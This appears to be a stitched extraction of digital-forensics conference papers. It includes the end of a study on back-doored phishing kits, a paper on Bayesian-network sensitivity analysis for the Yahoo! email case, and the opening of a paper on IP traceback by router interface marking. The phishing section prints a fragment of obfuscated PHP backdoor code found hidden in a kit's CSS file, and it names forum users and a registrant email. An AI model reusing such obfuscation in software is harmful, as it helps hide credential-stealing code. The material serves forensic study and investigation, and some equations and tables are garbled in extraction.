Internet searches using the terms niarB and scam together showed that criminals continue to use online forums to exchange information about the creation and use of back-doored phishing kits. For example, in June 2010, forum users 10scam, Mr red, HaCker-Cs, abdocasa2010, Mr-AminE-Ha, romega3, Pro-haCker, HmiMouCh and mr-0 posted comments about some of the email address obfuscation methods discussed in this paper [START_REF] Mrirtvb | Forum posts[END_REF]. The same site also provides downloadable tools for conducting phishing attacks. The domain name Mirtvb.com is registered to a Hotmail address; its source code reveals that the site was CreaTed By HMiMouCh c59@hotmail.com. The Tools page offers a link to a Facebook page for Mrirtvb, where the tagline reads in Arabic, "Powerful forum for the education of hacker and spam protection."

Discussion

By determining the file locations where drop email addresses are encoded, researchers can enhance automated de-obfuscation processes and gather intelligence faster and in a more streamlined way than through the visual inspection of kit files. Armed with the email address(es) of the fraudsters, investigators can work through law enforcement channels to obtain the IP addresses used by fraudsters and eventually identify the individuals. Email addresses can also be correlated with phishing incidents to identify the most prolific offenders so that law enforcement agencies can prioritize limited resources.

Analyzing historical email records also enables investigators to identify the customers whose credentials were stolen. Bank officials can then identify the exact losses suffered by their customers. These losses can be aggregated for each offender to permit investigators to meet the minimum loss thresholds required for commencing prosecutions.

Conclusions

The Mr-Brain hacking group is actively involved in the global distribution of phishing tools. However, since the most common response to a phishing attack is a "takedown," Mr-Brain and other similar hacking groups can continue their malicious activities without much fear of prosecution. Indeed, they have been able to take advantage of the lack of awareness and training on the part of cyber crime investigators and the limited international cooperation between law enforcement agencies.

Discovering the hidden drop email addresses in back-doored phishing kits may be the only way to target criminal entities such as Mr-Brain. These drop email addresses can provide valuable intelligence to investigators about phishing activities, helping locate the perpetrators, identify victims and assess their losses, and pursue criminal prosecution.

Figure 1 .

 1 Figure 1. Foreign script discovered in mac ns16.css.

  function clean($str){ $clean=create_function('$str','return '.gets("(1,",3,4).'($str);'); return $clean($str); } function getc($string){ return implode('', file($string)); } function gets($a, $b, $c){ global $d; return substr(getc($d),strpos(getc($d),$a)+$b,$c); } function end_of_line(){ $end=gets("(2,",3,4); $endline=$end(gets("(3,",3,2), getc(gets("(((",3,19))); return $endline; } function geterrors(){ return clean(end_of_line()); }

  ['1'].$ar['3'].$ar['5'].$ar['5'].$ar['1']. $ar['6'].$ar['4'].$ar['8'].$ar['0'].$ar['2']. $ar['10'].$ar['9']. $ar['7'].$ar['11'].$ar['12']. $ar['0'];

Table 1 .

 1 Plaintext and obfuscated email addresses.

	Type	Number
	Total (Plaintext)	313
	Hex	103
	Base64	78
	NUXI	47
	Array	4
	Total (Obfuscated)	218
	Total (Unique Addresses)	531


Michael Kwan

Richard Overill

Kam-Pui Chow

Hayson Tse

Frank Law

Pierre Lai

Chapter 18 SENSITIVITY ANALYSIS OF BAYESIAN NETWORKS USED IN FORENSIC INVESTIGATIONS

Keywords: Forensic investigations, Bayesian networks, sensitivity analysis

Research on using Bayesian networks to enhance digital forensic investigations has yet to evaluate the quality of the output of a Bayesian network. The evaluation can be performed by assessing the sensitivity of the posterior output of a forensic hypothesis to the input likelihood values of the digital evidence. This paper applies Bayesian sensitivity analysis techniques to a Bayesian network model for the well-known Yahoo! case. The analysis demonstrates that the conclusions drawn from Bayesian network models are statistically reliable and stable for small changes in evidence likelihood values.

Introduction

Research on applying Bayesian networks to criminal investigations is on the rise [START_REF] Kwan | Analysis of the digital evidence presented in the Yahoo! case[END_REF][START_REF] Kwan | Reasoning about evidence using Bayesian networks[END_REF][START_REF] Kwan | Evaluation of evidence in Internet auction fraud investigations[END_REF][START_REF] Overill | A cost-effective model for digital forensic investigations[END_REF]. The application of Bayes' theorem and graph theory provides a means to characterize the causal relationships among variables [START_REF] Taroni | Bayesian Network and Probabilistic Inference in Forensic Science[END_REF]. In terms of forensic science, these correspond to the hypothesis and evidence. When constructing a Bayesian network, the causal structure and conditional probability values come from multiple experiments or expert opinion.

The main difficulties in constructing a Bayesian network are in knowing what to ask experts and in assessing the accuracy of their responses. When an assessment is made from incomplete estimations or inconsistent beliefs, the resulting posterior output is inaccurate or "sensitive" [START_REF] Druzdzel | Elicitation of probabilities for belief networks: Combining qualitative and quantitative information[END_REF]. Therefore, when applying a Bayesian network model, the investigator must understand the certainty of the conclusions drawn from the model. Sensitivity analysis provides a means to evaluate the possible inferential outcomes of a Bayesian network to gain this understanding [START_REF] Morgan | Uncertainty: A Guide to Dealing with Uncertainty in Quantitative Risk and Policy Analysis[END_REF].

This paper applies sensitivity analysis techniques to evaluate the correctness of a Bayesian network model for the well-known Yahoo! case [START_REF]Changsha Intermediate People's Court of Hunan Province, Reasons for Verdict[END_REF]. The Bayesian network was constructed using details from the conviction report, which describes the evidence that led to the conviction of the defendant [START_REF] Kwan | Analysis of the digital evidence presented in the Yahoo! case[END_REF]. The analysis tests the sensitivity of the hypothesis to small and large changes in the likelihood of individual pieces of evidence.

Sensitivity Analysis

The accuracy of a Bayesian network depends on the robustness of the posterior output to changes in the input likelihood values [START_REF] Ghosh | An Introduction to Bayesian Analysis: Theory and Methods[END_REF]. A Bayesian network is robust if it exhibits a lack of posterior output sensitivity to small changes in the likelihood values. Sensitivity analysis is important due to the practical difficulty of precisely assessing the beliefs and preferences underlying the assumptions of a Bayesian model. Sensitivity analysis investigates the properties of a Bayesian network by studying its output variations arising from changes in the input likelihood values [START_REF] Saltelli | Global Sensitivity Analysis: The Primer[END_REF].

A common approach to assess the sensitivity is to iteratively vary each likelihood value over all possible combinations and evaluate the effects on the posterior output [START_REF] Gill | Bayesian Methods: A Social and Behavioral Sciences Approach[END_REF]. If large changes in the likelihood values produce a negligible effect on the posterior output, then the evidence is sufficiently influential and has little to no impact on the model. On the other hand, if small changes cause the posterior output to change significantly, then it is necessary to review the network structure and the prior probability values.

Since the probability distributions of the evidence likelihood values and hypothesis posteriors in a Bayesian network constructed for a digital forensic investigation are mostly discrete, parameter sensitivity analysis can be used to evaluate the sensitivity of the Bayesian network for the Yahoo! case. Three approaches, bounding sensitivity function, sensitivity value and vertex proximity, are used to determine the bounding sensitivity of each piece of evidence and its robustness under small and large variations in its likelihood value.

Bounding Sensitivity Function

Parameter sensitivity analysis evaluates the posterior output based on variations in the evidence provided. It is impractical -possibly, computationally intractable -to perform a full sensitivity analysis that varies the likelihood values one at a time while keeping the other values fixed [START_REF] Laskey | Sensitivity analysis for probability assessments in Bayesian networks[END_REF]. One solution to the intractability problem is to use a bounding sensitivity function to select functions that have a high sensitivity [START_REF] Renooij | Evidence-invariant sensitivity bounds[END_REF].

To evaluate the sensitivity of the posterior of the root hypothesis θ to the conditional probability of evidence x, the likelihood value of x given θ (P (x|θ)), denoted by x 0 , and the posterior result of θ given x (P (θ|x)), denoted by h 0 , are sufficient to compute the upper and lower bounds of the sensitivity function for P (θ|x). These bounds come from the original values of the parameter under study (x 0 ) and the probability of interest (h 0 ) [START_REF] Renooij | Evidence-invariant sensitivity bounds[END_REF]. Any sensitivity function passing through the point (x 0 , h 0 ) is bounded by the two rectangular hyperbolas i(x) and d(x):

i(x) = h 0 • (1 -x 0 ) • x (h 0 -x 0 ) • x + (1 -h 0 ) • x 0 (1) d(x) = h 0 • x 0 • (1 -x) (1 -h 0 -x 0 ) • x + h 0 • x 0 (2)
The bounds on a sensitivity function f (x) with f (x 0 ) = h 0 are:

min{i(x j ), d(x j )} ≤ f (x j ) ≤ max{i(x j ), d(x j )} (3)
for all x j in [0,1]. The point at which the bounds intersect indicates the sensitivity of the function. The sensitivity increases as the intersection approaches zero.

Sensitivity Value

A sensitivity value provides an approximation to small deviations in the probabilistic likelihood of evidence [START_REF] Laskey | Sensitivity analysis for probability assessments in Bayesian networks[END_REF]. The sensitivity value is the partial derivative of the posterior output of the hypothesis with respect to the likelihood of a particular state of the evidence. Mathematically, for a hypothesis θ given evidence e as a function of a probabilistic likelihood x, the posterior probability P (θ|e)(x) is the sensitivity function f (x) for θ, which is the quotient of two linear functions of x. The sensitivity function is given by:

f (x) = P (θ|e)(x) = P (θ ∧ e)(x) P (e)(x) = a • x + b c • x + d (4)
where the coefficients a, b, c and d are derived from the original (unvaried) parameters of the Bayesian network [START_REF] Renooij | Evidence and scenario sensitivities in naive Bayesian classifiers[END_REF][START_REF] Van Der Gaag | Sensitivity analysis of probabilistic networks[END_REF][START_REF] Wang | Using sensitivity analysis for selective parameter update in Bayesian network learning[END_REF].

The sensitivity of a likelihood value is the absolute value of the first derivative of the sensitivity function at the original likelihood value [START_REF] Renooij | Evidence and scenario sensitivities in naive Bayesian classifiers[END_REF]:

a • d -b • c (c • x + d) 2 (5)
This sensitivity value describes the change in the posterior output of the hypothesis for small variations in the likelihood of the evidence under study. The larger the sensitivity value, the less robust the posterior output of the hypothesis [START_REF] Renooij | Evidence and scenario sensitivities in naive Bayesian classifiers[END_REF]. In other words, a likelihood value with a large sensitivity value is prone to generate an inaccurate posterior output. If the sensitivity value is less than one, then a small change in the likelihood value has a minimal effect on the result of the posterior output of the hypothesis [START_REF] Van Der Gaag | Sensitivity analysis of probabilistic networks[END_REF].

Vertex Proximity

Even if a Bayesian network is robust to small changes in its evidence likelihood values, it is also necessary to assess if the network is robust to large variations in the likelihood values [START_REF] Van Der Gaag | Sensitivity analysis of probabilistic networks[END_REF]. The impact of a larger variation in a likelihood value, the vertex proximity, depends on the location of the vertex of the sensitivity function. Calculating the vertex proximity assumes that the sensitivity function has a hyperbolic form expressed as:

f (x) = r x -s + t where s = - d c ; t = a c ; r = b c + s • t (6)
Given a sensitivity function defined by 0 ≤ f (x) ≤ 1, the twodimensional space (x, f (x)) is bounded by the unit window [0,1] [START_REF] Renooij | Evidence and scenario sensitivities in naive Bayesian classifiers[END_REF]. The vertex is a point where the sensitivity value

(| a•d-b•c (c•x+d) 2 |
) is equal to one. Because the rectangular hyperbola extends indefinitely, the vertical asymptotes of the hyperbola may lie outside the unit window, either s < 0 or s > 1.

The vertex proximity expression:

x v = {s + |r| if s < 0 or s -|r| if s > 1} (7)
is based on the vertex value with respect to the likelihood value of s [START_REF] Van Der Gaag | Sensitivity analysis of probabilistic networks[END_REF]. If the original likelihood value is close to the value of x v , then the posterior output may possess a high degree of sensitivity to large variations in the likelihood value [START_REF] Van Der Gaag | Sensitivity analysis of probabilistic networks[END_REF].

Bayesian Network for the Yahoo! Case

This section describes the application of the bounding sensitivity, sensitivity value and vertex proximity techniques to evaluate the robustness of a Bayesian network constructed for the Yahoo! case [START_REF] Kwan | Analysis of the digital evidence presented in the Yahoo! case[END_REF]. Constructing a Bayesian network for a forensic investigation begins with the establishment of the top-most hypothesis. Usually, this hypothesis represents the main issue to be resolved. In the Yahoo! case, the hypothesis H is that the seized computer was used to send the subject file as an email attachment using a specific Yahoo! email account.

The hypothesis H is the root node of the Bayesian network and is the ancestor of every other node in the network. The unconditional (prior) probabilities are: P (H =Yes) = 0.5 and P (H =No) = 0.5.

There are six sub-hypotheses that are dependent on the main hypothesis H. The six sub-hypothesis are events that should have occurred if the file in question had been sent by the suspect's computer via Yahoo! web-mail. The sub-hypotheses (states: Yes and No) are: H 1 : Linkage between the subject file and the suspect's computer. Since there are no observations of the occurrences of the six subhypotheses, their conditional probability values cannot be predicted using frequentist approaches. Therefore, an expert was asked to subjectively assign the probabilities used in this study (Table 2).

Table 3 presents the conditional probability values of the fourteen pieces of digital evidence given the associated sub-hypotheses.

Posterior Probabilities

Figures 1 and2 show the posterior probabilities of H when H 1 . . . H 6 are Yes and No, respectively. The upper and lower bounds of H -the seized computer was used to send the subject file as an email attachment via the Yahoo! email account -are 0.972 and 0.041, respectively. However, these posterior results are not justified until the sensitivity of the Bayesian network is evaluated.

Sensitivity Analysis Results

This section presents the results of the sensitivity analysis conducted on the Bayesian network for the Yahoo! case. Upon applying Equations ( 1) and (2), the sensitivity functions i(x) and d(x) are given by:

i(x) = h 0 • (1 -x 0 ) • x (h 0 -x 0 ) • x + (1 -h 0 ) • x 0 = 0.09075x 0.33575 -0.245x (8) d(x) = h 0 • x 0 • (1 -x) (1 -h 0 -x 0 ) • x + h 0 • x 0 = 0.51425 -0.51425x 0.51425 -0.455x (9)
Figure 4(a) presents the bounding sensitivity functions for the posteriors of hypothesis H to P (DE 1 |H 1 ). In particular, it shows the plot of the i(x) and d(x) functions, which is the bounding sensitivity of P (H|DE 1 ) against P (DE 1 |H 1 ). Note that a significant shift in the estimated bounds for P (H|DE 1 ) occurs when P (DE 1 |H 1 ) is greater than 0.85. Because the shift is large, the hypothesis is not sensitive to changes in DE 1 .

The bounds of P (H|DE 2 ) . . . P (H|DE 14 ) and the bounds of P (DE 2 |H 2 ) . . . P (DE 14 |H 6 ) do not produce significant changes in the bounds for the posterior output and are not sensitive to changes in the likeli- hood values. The most sensitive bound is for the sensitivity function of P (H|DE 6 ), which is less than 0.1 according to Figure 4(b). Note that Figure 4(b) shows the bounding sensitivity for the posterior probabilities of the root hypothesis H to P (DE 6 |H 4 ). Although the likelihood of DE 6 is more sensitive than the likelihoods of the other pieces of digital evidence, the robustness of the posterior results with respect to the elicited conditional probabilities in the Yahoo! Bayesian network is still not clear. Therefore, the sensitivity values and vertex proximities for the evidence must also be assessed to ascertain the robustness of the Bayesian network.

Sensitivity Value Analysis

To illustrate the sensitivity value analysis technique, we evaluate the sensitivity of sub-hypothesis H 1 (linkage between the subject file and the suspect's computer) to the likelihood value of evidence DE 1 (subject file exists on the computer). The sensitivity value analysis evaluates the probability of interest, P (H 1 |DE 1 ), for a variation in the likelihood value of P (DE 1 |H 1 ). This requires a sensitivity function that expresses P (H 1 |DE 1 ) in terms of x = P (DE 1 |H 1 ):

P (H 1 |DE 1 )(x) = P (DE 1 |H 1 )P (H 1 ) P (DE 1 ) (10)
Rewriting the numerator P (DE 1 |H 1 )P (H 1 ) as P (H 1 )x + 0 yields the coefficient values a = P (H 1 ) and b = 0. Rewriting the denominator as P (DE 1 ) = P (DE 1 |H 1 )P (H 1 ) + P (DE 1 |H 1 )P (H 1 ) = P (H 1 )x + P (DE 1 |H 1 )P (H 1 ) yields the coefficient values c = P (H 1 ) and d = P (DE 1 |H 1 )P (H 1 ).

Since P (H 1 ) = 0.5 and P (DE 1 |H 1 ) = 0.15 (from Table 3), the coefficients of the sensitivity function are: a = 0.5, b = 0, c = 0.5

a • d -b • c (c • x + d) 2 = 0.5 • 0.075 -0 • 0.5 (0.5 • 0.85 + 0.075) 2 = 0.15 (11)
As noted in [START_REF] Van Der Gaag | Sensitivity analysis of probabilistic networks[END_REF], if the sensitivity value is less than one, then a small change in the likelihood value has a minimal effect on the posterior output of a hypothesis. Table 4 shows sensitivity values that express the effects of small changes in evidence likelihood values on the posterior outputs of the related sub-hypotheses. Note that all the sensitivity values are less than one. Therefore, it can be concluded that the Bayesian network is robust to small variations in the elicited conditional probabilities. Since priors of the evidence are computed from the elicited probabilities, it can also be concluded that the Yahoo! Bayesian network is robust to small variations in the evidence likelihood values.

Vertex Proximity Analysis

Although the Yahoo! Bayesian network is robust to small changes in evidence likelihood values, it is also necessary to assess its robustness to large variations in the conditional probabilities. Table 5 shows the results of the vertex likelihood (x v ) computation using Equation (7) for DE 1 . . . DE 14 . However, for digital evidence DE 6 and sub-hypothesis H 4 , the elicited probability of 0.1 is close to the vertex value of 0.174; thus, the elicited probability of DE 6 exhibits a degree of vertex proximity. In other words, the posterior result of H 4 (linkage between the suspect and the Yahoo! email account) is sensitive to the variation in the likelihood value of DE 6 even though the sensitivity value for DE 6 is small.

Although the Yahoo! Bayesian network is robust, the elicitation of the likelihood value of DE 6 (subscription details of the Yahoo! email account match the suspect's particulars) given sub-hypothesis H 4 (P (DE 6 |H 4 )) is the weakest node in the network. The weakest node is most susceptible to change and is, therefore, the best place to attack the case. This means that digital evidence DE 6 is of the greatest value to defense attorneys and prosecutors.

Conclusions

The bounding sensitivity function, sensitivity value and vertex proximity are useful techniques for analyzing the sensitivity of Bayesian networks used in forensic investigations. The analysis verifies that the Bayesian network developed for the celebrated Yahoo! case is reliable and accurate. The analysis also reveals that evidence related to the hypothesis that the subscription details of the Yahoo! email account match the suspect's particulars is the most sensitive node in the Bayesian network. To ensure accuracy, the investigator must critically review the elicitation of this evidence because a change to this node has the greatest effect on the network output.

The one-way sensitivity analysis presented in this paper varies one likelihood value at a time. It is possible to perform n-way analysis of a Bayesian network, but the mathematical functions become very complicated [START_REF] Van Der Gaag | Sensitivity analysis of probabilistic networks[END_REF]. Given that digital evidence is becoming increasingly important in court proceedings, it is worthwhile to conduct further research on multi-parameter, higher-order sensitivity analysis [START_REF] Chan | Sensitivity analysis in Bayesian networks: From single to multiple parameters[END_REF] to ensure that accurate analytical conclusions can be drawn from the probabilistic results obtained with Bayesian networks.

H 2 :

 2 Linkage between the suspect and the computer.

H 3 :

 3 Linkage between the suspect and the ISP.

H 4 :

 4 Linkage between the suspect and the Yahoo! email account.

H 5 :

 5 Linkage between the computer and the ISP.

H 6 :

 6 Linkage between the computer and the Yahoo! email account.

Figure 4 .

 4 Figure 4. Bounding sensitivity functions.

Table 1

 1 lists the digital evidence DE i (states: Yes, No and Uncertain) associated with the six sub-hypotheses.

Table 1 .

 1 Sub-hypotheses and the associated evidence.

	Sub-Hypot. Evidence Description
	H1	DE1	Subject file exists on the computer
	H1	DE2	Last access time of the subject file is after the IP
			address assignment time by the ISP
	H1	DE3	Last access time of the subject file is after or is close
			to the sent time of the Yahoo! email
	H2	DE4	Files on the computer reveal the identity of the sus-
			pect
	H3	DE5	ISP subscription details (including the assigned IP
			address) match the suspect's particulars
	H4	DE6	Subscription details of the Yahoo! email account (in-
			cluding the IP address that sent the email) match
			the suspect's particulars
	H5	DE7	Configuration settings of the ISP Internet account
			are found on the computer
	H5	DE8	Log data confirms that the computer was powered
			up at the time the email was sent
	H5	DE9	Web browser (e.g., Internet Explorer) or email pro-
			gram (e.g., Outlook) was found to be activated at
			the time the email was sent
	H5	DE10	Log data reveals the assigned IP address and the
			assignment time by the ISP to the computer
	H5	DE11	Assignment of the IP address to the suspect's ac-
			count is confirmed by the ISP
	H6	DE12	Internet history logs reveal that the Yahoo! email
			account was accessed by the computer
	H6	DE13	Internet cache files reveal that the subject file was
			sent as an attachment from the Yahoo! email ac-
			count
	H6	DE14	IP address of the Yahoo! email with the attached
			file is confirmed by Yahoo!

Table 2 .

 2 Likelihood of H1 . . . H6 given H.

		H1, H5, H6 H2, H3, H4
	H	Y	N	Y	N
	Y 0.65	0.35	0.8	0.2
	N 0.35	0.65	0.2	0.8

Table 3 .

 3 Probabilities of DE1 . . . DE14 given Hi.

		Y	N	U	Y	N	U	Y	N	U
	Hi		DE1, i = 1	DE2, DE3, i = 1		DE4, i = 2
	Y	0.85 0.15	0.00	0.80 0.15	0.05	0.75 0.20	0.05
	N	0.15 0.85	0.00	0.15 0.80	0.05	0.20 0.75	0.05
			DE5, i = 3		DE6, i = 4	DE7, DE8, DE10, i = 5
	Y	0.70 0.25	0.05	0.10 0.85	0.05	0.70 0.25	0.05
	N	0.25 0.70	0.05	0.05 0.90	0.05	0.25 0.70	0.05
		DE9, DE11, i = 5 DE12, DE13, i = 6	DE14, i = 6
	Y	0.80 0.15	0.05	0.70 0.25	0.05	0.80 0.15	0.05
	N	0.15 0.80	0.05	0.25 0.70	0.05	0.15 0.80	0.05
					H1	H
				Yes	0.996	Yes	0.972
				No	0.004	No	0.028
					H2
				Yes	0.925	Yes	0.986
				No	0.075	No	0.014
					H3
					Yes	0.904
					No	0.096	H5
							Yes	0.999
							No	0.001

DE3 Figure 3. Posterior probability of H when DE1 is Yes.

Table 4 .

 4 Sensitivity values and effects on posterior outputs. |DE 1 ) against P (DE 1 |H 1 ) is:

	Evidence Elicited Sensitivity Function Sensitivity	Effect on
		Value		Coefficients	Value	Posterior
			a	b	c	d
	DE1	0.85	0.5 0 0.5	0.075	0.150	Hardly changes
	DE2	0.80	0.5 0 0.5	0.075	0.166	Hardly changes
	DE3	0.80	0.5 0 0.5	0.075	0.166	Hardly changes
	DE4	0.75	0.5 0 0.5	0.100	0.222	Hardly changes
	DE5	0.70	0.5 0 0.5	0.125	0.250	Hardly changes
	DE6	0.10	0.5 0 0.5	0.025	0.045	Hardly changes
	DE7	0.70	0.5 0 0.5	0.125	0.250	Hardly changes
	DE8	0.70	0.5 0 0.5	0.125	0.250	Hardly changes
	DE9	0.80	0.5 0 0.5	0.075	0.166	Hardly changes
	DE10	0.70	0.5 0 0.5	0.125	0.250	Hardly changes
	DE11	0.80	0.5 0 0.5	0.075	0.166	Hardly changes
	DE12	0.70	0.5 0 0.5	0.125	0.250	Hardly changes
	DE13	0.70	0.5 0 0.5	0.125	0.250	Hardly changes
	DE14	0.80	0.5 0 0.5	0.075	0.166	Hardly changes
	and d = 0.075. Upon applying Equation (5), the sensitivity value of
	P (H 1

Table 5 .

 5 Sensitivity values and effects on posterior outputs.

	Evidence	Elicited	s	t	r	xv	|xv -x0|
		Value (x0)
	DE1	0.85	-0.15 1 -0.15 0.237	0.613
	DE2	0.80	-0.15 1 -0.15 0.237	0.563
	DE3	0.80	-0.15 1 -0.15 0.237	0.563
	DE4	0.75	-0.20 1 -0.20 0.247	0.503
	DE5	0.70	-0.25 1 -0.25 0.250	0.450
	DE6	0.10	-0.05 1 -0.05 0.174	0.074
	DE7	0.70	-0.25 1 -0.25 0.250	0.450
	DE8	0.70	-0.25 1 -0.25 0.250	0.450
	DE9	0.80	-0.15 1 -0.15 0.237	0.563
	DE10	0.70	-0.25 1 -0.25 0.250	0.450
	DE11	0.80	-0.15 1 -0.15 0.237	0.613
	DE12	0.70	-0.25 1 -0.25 0.250	0.450
	DE13	0.70	-0.25 1 -0.25 0.250	0.450
	DE14	0.80	-0.15 1 -0.15 0.237	0.563

Table 5

 5 shows sensitivity values expressing the effects of large changes in evidence likelihood values on the posterior outputs of related subhypotheses. Based on the small sensitivity values in Table4and the lack of vertex proximity shown in Table 5, the posterior outputs of the sub-hypotheses H 1 , H 2 , H 3 , H 5 and H 6 are not sensitive to variations in the likelihood values of DE 1 . . . DE 5 and DE 7 . . . DE 14 .

Bounding Sensitivity Analysis

The sensitivity of the posterior outputs of the root hypothesis H to the conditional probabilities of evidence DE 1 . . . DE 14 is computed using Equation (4). To illustrate the process, we compute the bounding sensitivity function for H against the likelihood of DE 1 .

From Table 3, the likelihood of DE 1 (subject file exists on the suspect's computer) given H 1 (linkage between the subject file and the computer), i.e., P (DE 1 |H 1 ) is equal to 0.85 (x 0 ). As shown in Figure 3, if DE 1 is observed, the posterior output of the root hypothesis H, i.e., DE 1 (P (H|DE 1 )), is equal to 0.60 (h 0 ).


Emmanuel Pilli

Ramesh Joshi

Rajdeep Niyogi

Router and Interface Marking for Network Forensics

Keywords: Network forensics, traceback, attack attribution

de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d'enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.

Introduction

IP traceback mechanisms attempt to identify the source of attacks, and implicate and prosecute the attackers. The identification of attack hosts and networks is not a major achievement, but the essential clues it provides can help identify the actual attackers. Once realized, IP traceback can be a major component of a network forensic investigation.

Several techniques exist for performing a traceback [START_REF] Lee | Tracing the source of network attack: A technical, legal and societal problem[END_REF]. However, TCP/IP limitations facilitate IP spoofing, which manipulates the source address in the IP header. Since the routing infrastructure of the Internet is stateless and packet routing decisions are based on the destination, there is no entity responsible for ensuring the correctness of the source address. As such, attackers can generate malicious IP packets with arbitrary source addresses. This makes the reconstruction of the path back to the attack origin a challenging task.

This paper presents a traceback technique involving deterministic router and interface marking (DRIM). The DRIM technique deterministically marks the interface number and the address of the router from which each outgoing packet entered the network. Every outbound packet is marked at the first ingress edge router. Inbound packets are not marked. Once a packet is marked, other routers do not mark the packet. The marking enables traceback to the ingress router closest to the attacker and identifies the attack path to the source via the interface number. This traceback technique is the first to use both deterministic packet marking and interface marking.

IP Traceback for Network Forensics

Network forensics deals with capture, recording and analysis of network traffic. The network forensic process analyzes network log data to characterize attacks and identify the perpetrators. It involves monitoring network traffic, determining if anomalies are present and ascertaining if the anomalies indicate an attack. The ultimate goal is to obtain evidence to identify and prosecute the perpetrators [START_REF] Yasinsac | Policies to enhance computer and network forensics[END_REF].

Classification of Network Forensics

Network forensic systems are classified into various types based on their characteristics [START_REF] Pilli | Network forensic frameworks: Survey and research challenges[END_REF]. This classification is useful to identify the set of requirements and make assumptions for traceback in the context of network forensic analysis.

Purpose: General network forensics focuses on enhancing security by analyzing network traffic to discover attack patterns. Strict network forensics involves rigid legal requirements, as the results are used as evidence in court.

Packet Capture: Catch-it-as-you-can systems capture and store packets passing through a particular traffic point. Stop-look-andlisten systems analyze packets in memory as they pass and store limited information about the packets.

Platform: A network forensic system can be a hardware appliance or it can be a software system that is installed on a host to analyze stored packet captures or netflow records.

Time of Analysis:

Commercial network forensic systems involve real-time network surveillance, signature-based anomaly detection, data analysis and forensic analysis. Many open source software tools exist to perform post mortem investigations of packet captures. The tools perform packet analysis of data captured by sniffer tools.

Data Source: Flow-based systems collect statistical information about network traffic as it passes through a capture platform. The network equipment collects the data and sends it to a flow collector, which stores and analyzes the data. Packet-based systems capture full packets for subsequent deep packet inspection.

Assumptions

Packet-based systems can provide detailed information about attackers while requiring less resources in post mortem investigations. This paper focuses on post mortem packet-based network forensics. The following assumptions are made regarding traceback:

Attackers can generate and send any packet.

Attackers are aware of the traceback ability.

Routers possess limited processing and storage capabilities. Not all routers participate, but the host router in the attacker's network must participate.

Routes between hosts are stable, but packets can be reordered or lost.

An attack packet stream may only comprise a few packets, but an investigation must be conducted despite the limited evidence.

Requirements

The indispensable requirement for network forensic traceback is that the routers in the attacker's network must use the marking mechanism. Other requirements for IP traceback include:

Compatibility with existing network protocols, routers and infrastructure.

Simple implementation with a minimal number of functions. Support for partial deployment and scalability.

Minimal time and resource overhead (processing, bandwidth and memory).

Fast convergence of the traceback using only a few packets. Minimal increase in the packet size due to the traceback mechanism.

Minimal involvement of an Internet service provider (ISP).

Low potential for evasion by mark spoofing.

Ability to perform a traceback closer to the attacker than the ingress edge router.

Related Work

IP traceback [START_REF] Aljifri | IP traceback: A new denial-of-service deterrent[END_REF][START_REF] Belenky | On IP traceback[END_REF][START_REF] Gao | Tracing cyber attacks from the practical perspective[END_REF] is an important strategy for investigating and attributing network attacks (Figure 1). IP traceback techniques do not prevent and mitigate attacks; instead, they identify the sources of attack packets. IP traceback techniques can be reactive or proactive. Reactive traceback techniques make attack detection decisions while the attack is in progress and require a large amount of traffic (as in a DDoS attack). They use logging, packet marking and hybrid approaches (logging and marking). The techniques fail when attack traffic subsides; therefore, they are not very effective for post mortem analysis.

Proactive traceback techniques perform packet marking or interface marking. Packet marking inserts within an IP packet the address of each router along its path. The packets are marked either probabilistically or deterministically. Probabilistic packet marking (PPM) requires many packets for convergence of attacker information. Deterministic packet marking (DPM) techniques need fewer packets for traceback and can be performed post mortem.

Belenky and Ansari [START_REF] Belenky | IP traceback with deterministic packet marking[END_REF][START_REF] Belenky | On deterministic packet marking[END_REF] first proposed DPM, in which only the ingress edge routers mark packets. Each border router marks every packet with its incoming IP address in the 16-bit ID field as the packet enters the network. Because the IP address requires more than sixteen bits, DPM splits the IP address into two packets and uses the 1-bit reserved flag to indicate the first and second parts of the IP address. Rayanchu and Barua [START_REF] Rayanchu | Tracing attackers with deterministic edge router marking[END_REF] have extended this approach by embedding all the IP information in a single packet. The 16-bit packet ID field is marked with a 16-bit hash of the 32-bit IP address of the edge router. The network maintains a table to identify the IP address based on the packet hash. Lin and Lee [START_REF] Lin | Robust and scalable deterministic packet marking scheme for IP traceback[END_REF] have proposed a robust, scalable DPM scheme that uses multiple hash functions to reduce the probability of address digest collisions. Their DPM technique uses three bits to distinguish between eight different hash functions; the remaining fourteen bits carry the hashed address information.

Jin and Yang [START_REF] Jin | Deterministic packet marking based on redundant decomposition for IP traceback[END_REF] have proposed a DPM-based redundant decomposition for IP traceback, where the marking field has two sections: information and index. Every ingress edge router decomposes its corresponding IP address into fragments where the neighboring fragments have some redundant bits. The IP ID field is marked with one of the fragments. Xiang, et al. [START_REF] Xiang | Flexible deterministic packet marking: An IP traceback system to find the real source of attacks[END_REF] have proposed a flexible DPM scheme to identify the source of attack packets. It adopts a flexible mark length strategy for compatibility with different network environments. The scheme also changes the marking rate based on the load of the participating router using a flexible flow-based marking technique.

Router interface marking (RIM) mechanisms consider a router interface (as opposed to the router itself) as an atomic unit for traceback. Chen, et al. [START_REF] Chen | RIM: Router interface marking for IP traceback[END_REF] use a RIM-enabled router to mark each packet with the identifier of the hardware interface that processed the packet. The mark is a locally-composed string of unique router input IDs that serves as a globally-unique path identifier. It uses five bits for distance, six for the XOR value and six for the interface ID. Yi, et al. [START_REF] Yi | Deterministic packet marking with link signatures for IP traceback[END_REF] have proposed a DPM technique that marks every packet passing through a router with a link signature (digest of the address information of the two adjacent nodes). Each router participates in marking and the mark changes with each router. The entire path information is available in each packet and single-packet IP traceback is possible.

Peng, et al. [START_REF] Peng | Enhanced and authenticated deterministic packet marking for IP traceback[END_REF] have proposed an enhanced, authenticated DPM that uses path numbering for traceback. DPM-enabled routers at the edge of a subnet mark each packet based on the incoming interface. PPMenabled routers are closest to the packet source and mark each packet with path identifiers that represent the path linking them to the DPMenabled routers. This facilitates attack detection and filtering as well as obtaining accurate information from the authenticated marks.

Deterministic Router and Interface Marking

The proposed IP traceback technique deterministically marks each packet with the interface number and the address of the router through which the packet enters the network. Only the first router marks the packet to prevent other routers from overwriting the mark. This makes it possible to perform a traceback beyond the ingress router.

Consider the architecture in Figure 2 with various hosts, switches, routers and interfaces. The attacker is the host that connects to the Internet through ingress edge router R

Marker Encoding

